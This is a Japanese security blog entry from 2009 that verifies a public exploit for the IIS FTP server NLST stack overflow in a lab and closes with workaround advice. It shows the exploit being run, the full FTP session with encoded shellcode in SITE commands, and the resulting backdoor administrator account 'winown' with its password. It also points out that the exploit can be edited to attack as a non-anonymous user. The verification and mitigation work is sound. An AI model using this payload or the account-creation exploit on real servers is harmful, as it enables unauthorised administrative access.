MS IIS FTPd NLSTの脆弱性検証メモ
Microsoft Internet Information Services FTPサーバ(以下IIS FTPd)のディレクトリ名の解析においてスタックオーバフローが存在するそうです。影響を受けるとされているシステムはMicrosoft Internet Information Services 5.0、5.1及び6.0です。細工したディレクトリを作成する必要があることからこの脆弱性を利用するためには、IIS FTPdにログインする必要があり、かつ、書き込み権限を有している必要があります。このエントリ作成現在(2009年9月2日)には、修正プログラムはリリースされておりません。
そして、各所で情報が公開されているように、Exploitコードが既にリリースされています。
このエントリは、そのExploitコードの検証メモです。
公開されたExploitコードは、対象システム上に新たにユーザを作成するものです。
# このエントリを書いている段階で、シェルポートをオープンし制御を奪うものもリリースされました。
今回は、Windows 2000 + SP4 + Full Patchの環境で、IIS FTPdには書き込み権限を有した「anonymous」ユーザのログインを許可した設定を施したものをターゲットシステムとしています。
そして、Exploit実行前のシステムにおけるユーザ情報は以下の通りです。C:\>net user
\\VICTIM-WIN2K-JA のユーザー アカウント
-------------------------------------------------------------------------------
Administrator Guest IUSR_DIAG-WIN2K-JA
IWAM_DIAG-WIN2K-JA NetShowServices TsInternetUser
コマンドは正常に終了しました。そして、ターゲットシステムに以下のようにExploitコードを実行します。[root@localhost pentest]# perl iiz5.pl 192.168.10.3 192.168.10.17
上記、Exploitコード実行後のターゲットシステムにおけるユーザは以下の通りです。
IIS 5.0 FTPd / Remote r00t exploit by kcope V1.2
220 diag-win2k-ja Microsoft FTP Service (Version 5.0).
331 Anonymous access allowed, send identity (e-mail name) as password.
230 Anonymous user logged in.
257 "w00t11331" directory created.
500 'SITE KSEXY 籘゙ルrSYIIIIIIIIIICCCCCC7QZjAXP0A0AkAAQ2AB2BB0BBABXP8ABuJIKL
JHPDC0C0C0LKG5GLLKCLEUBXEQJOLKPOEHLKQOQ0C1JKG9LKGDLKC1JNP1IPLYNLLDIPD4C7IQIZD
MC1IRJKL4GKQDFDC4CEJELKQOQ4C1JKCVLKDLPKLKQOELEQJKLKELLKEQJKK9QLFDDDHCQOFQL6CP
PVE4LKPFP0LKG0DLLKBPELNMLKBHEXMYJXLCIPCZF0CXL0LJDDQOCXJ8KNMZDNPWKOJGBCBME4FNB
ED8CUGPFOE3GPBNBECDQ0D5D3E5D2Q0CGCYBNBOCGBNQ0BND7BOBNE9CGGPFOQQPDG4Q0FFQ6Q0BN
BED4Q0BLBOCSE1BLBGCBBOCEBPGPG1BDBME9BNBIBSCDCBE1D4BOCBCCGPBWE9BNBOBWBNGPFOG1Q
TQTC0AAVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVV': command not understood
500 'SITE KSEXY 籘゙ルrSYIIIIIIIIIICCCCCC7QZjAXP0A0AkAAQ2AB2BB0BBABXP8ABuJIKL
JHPDC0C0C0LKG5GLLKCLEUBXEQJOLKPOEHLKQOQ0C1JKG9LKGDLKC1JNP1IPLYNLLDIPD4C7IQIZD
MC1IRJKL4GKQDFDC4CEJELKQOQ4C1JKCVLKDLPKLKQOELEQJKLKELLKEQJKK9QLFDDDHCQOFQL6CP
PVE4LKPFP0LKG0DLLKBPELNMLKBHEXMYJXLCIPCZF0CXL0LJDDQOCXJ8KNMZDNPWKOJGBCBME4FNB
ED8CUGPFOE3GPBNBECDQ0D5D3E5D2Q0CGCYBNBOCGBNQ0BND7BOBNE9CGGPFOQQPDG4Q0FFQ6Q0BN
BED4Q0BLBOCSE1BLBGCBBOCEBPGPG1BDBME9BNBIBSCDCBE1D4BOCBCCGPBWE9BNBOBWBNGPFOG1Q
TQTC0AAVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVV': command not understood
500 'SITE KSEXY 籘゙ルrSYIIIIIIIIIICCCCCC7QZjAXP0A0AkAAQ2AB2BB0BBABXP8ABuJIKL
JHPDC0C0C0LKG5GLLKCLEUBXEQJOLKPOEHLKQOQ0C1JKG9LKGDLKC1JNP1IPLYNLLDIPD4C7IQIZD
MC1IRJKL4GKQDFDC4CEJELKQOQ4C1JKCVLKDLPKLKQOELEQJKLKELLKEQJKK9QLFDDDHCQOFQL6CP
PVE4LKPFP0LKG0DLLKBPELNMLKBHEXMYJXLCIPCZF0CXL0LJDDQOCXJ8KNMZDNPWKOJGBCBME4FNB
ED8CUGPFOE3GPBNBECDQ0D5D3E5D2Q0CGCYBNBOCGBNQ0BND7BOBNE9CGGPFOQQPDG4Q0FFQ6Q0BN
BED4Q0BLBOCSE1BLBGCBBOCEBPGPG1BDBME9BNBIBSCDCBE1D4BOCBCCGPBWE9BNBOBWBNGPFOG1Q
TQTC0AAVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVV': command not understood
500 'SITE KSEXY 籘゙ルrSYIIIIIIIIIICCCCCC7QZjAXP0A0AkAAQ2AB2BB0BBABXP8ABuJIKL
JHPDC0C0C0LKG5GLLKCLEUBXEQJOLKPOEHLKQOQ0C1JKG9LKGDLKC1JNP1IPLYNLLDIPD4C7IQIZD
MC1IRJKL4GKQDFDC4CEJELKQOQ4C1JKCVLKDLPKLKQOELEQJKLKELLKEQJKK9QLFDDDHCQOFQL6CP
PVE4LKPFP0LKG0DLLKBPELNMLKBHEXMYJXLCIPCZF0CXL0LJDDQOCXJ8KNMZDNPWKOJGBCBME4FNB
ED8CUGPFOE3GPBNBECDQ0D5D3E5D2Q0CGCYBNBOCGBNQ0BND7BOBNE9CGGPFOQQPDG4Q0FFQ6Q0BN
BED4Q0BLBOCSE1BLBGCBBOCEBPGPG1BDBME9BNBIBSCDCBE1D4BOCBCCGPBWE9BNBOBWBNGPFOG1Q
TQTC0AAVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVV': command not understood
500 'SITE KSEXY 籘゙ルrSYIIIIIIIIIICCCCCC7QZjAXP0A0AkAAQ2AB2BB0BBABXP8ABuJIKL
JHPDC0C0C0LKG5GLLKCLEUBXEQJOLKPOEHLKQOQ0C1JKG9LKGDLKC1JNP1IPLYNLLDIPD4C7IQIZD
MC1IRJKL4GKQDFDC4CEJELKQOQ4C1JKCVLKDLPKLKQOELEQJKLKELLKEQJKK9QLFDDDHCQOFQL6CP
PVE4LKPFP0LKG0DLLKBPELNMLKBHEXMYJXLCIPCZF0CXL0LJDDQOCXJ8KNMZDNPWKOJGBCBME4FNB
ED8CUGPFOE3GPBNBECDQ0D5D3E5D2Q0CGCYBNBOCGBNQ0BND7BOBNE9CGGPFOQQPDG4Q0FFQ6Q0BN
BED4Q0BLBOCSE1BLBGCBBOCEBPGPG1BDBME9BNBIBSCDCBE1D4BOCBCCGPBWE9BNBOBWBNGPFOG1Q
TQTC0AAVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVV': command not understood
250 CWD command successful.
257 "CCCクUURU5UUUU@8SEXYu@@@澆~~~~~~~~~~~~~~~
~~~~~~~~~~~~~~~~~~~~EEEE~HHHHIIII
~JKKK馗NNNN" directory created.
200 PORT command successful.
150 Opening ASCII mode data connection for file list.C:\>net user
\\VICTIM-WIN2K-JA のユーザー アカウント
-------------------------------------------------------------------------------
Administrator Guest IUSR_DIAG-WIN2K-JA
IWAM_DIAG-WIN2K-JA NetShowServices TsInternetUser
winown
コマンドは正常に終了しました。上記の通り、リリースされているExploitコードを脆弱性が存在するシステムに対して実行すると「winown」というユーザが作成されます。(このユーザのパスワードは「winown」を逆さにした「nwoniw」です。)また、このユーザの情報は以下の通りです。C:\>net user winown
ユーザー名 winown
フル ネーム
コメント
ユーザーのコメント
国コード 000 (システム既定)
アカウント有効 Yes
アカウントの期限 無期限
最終パスワード変更日時 2009/09/01 21:41
パスワード有効期間 2009/10/14 20:28
パスワード次回変更可能日時 2009/09/01 21:41
パスワードあり Yes
ユーザーによるパスワード変更可能 Yes
ログオン可能なワークステーション すべて
ログオン スクリプト
ユーザー プロファイル
ホーム ディレクトリ
最終ログオン日時 なし
ログオン可能時間 すべて
所属しているローカル グループ *Administrators
*Users
所属しているグローバル グループ *なし
コマンドは正常に終了しました。前述したとおり、現在(2009年9月2日)修正プログラムはリリースされていないため回避策が必要となります。JVNでは、以下のような対策方法が発表されています。2009年9月1日現在、対策方法はありません。
ワークアラウンドを実施する
対策版が公開されるまでの間、以下の回避策を適用することで、本脆弱性の影響を軽減することが可能です。
・ FTP サーバに対して匿名ユーザでの書き込み権限を無効にする しかし、この対策方法では、不十分であると考えています。確かにこの対策を実施することでリリースされているExploitコードを利用した攻撃を防ぐことは可能です。それは、リリースされているExploitコードは「anonymous」(匿名)ユーザでログインを試みるようにハードコーディングされているからです。Exploitコードは容易に編集可能なPerlで記述されているため、ハードコーディングされている部分を編集することで「anonymous」ユーザ以外での攻撃を試みることが可能となります。実際にExploitコードを編集した別のユーザでの攻撃を行う検証では、元のExploitコードと同じ結果を得ることに成功しました。
つまり、JVNの発表による「匿名ユーザでの書き込み権限を無効にする」では、現状の回避策としては不完全であると言えます。
現状、ボクが推奨する回避策は以下のパターンです。
① 現在、自システムで稼動・公開しているIIS FTPdサーバが運用上必要であるか確認し、不要である場合は停止する。
② 運用上必要であると判断し、稼動・公開し続ける場合は、接続元の制限をネットワークレベルで行う。
③ 上記対策が不可能と判断される場合は、今一度、現在システム上に存在するFTPアクセスにおいて書き込み可能なユーザを確認し、不要なユーザは無効、書き込み権限が必要のないユーザは権限剥奪を行い、有効にし続けるユーザのパスワードは強固なものを設定にする。
IIS FTPdを運用し続ける場合、今後、修正プログラムがリリースされた際には速やかに適用を行うことが推奨されます。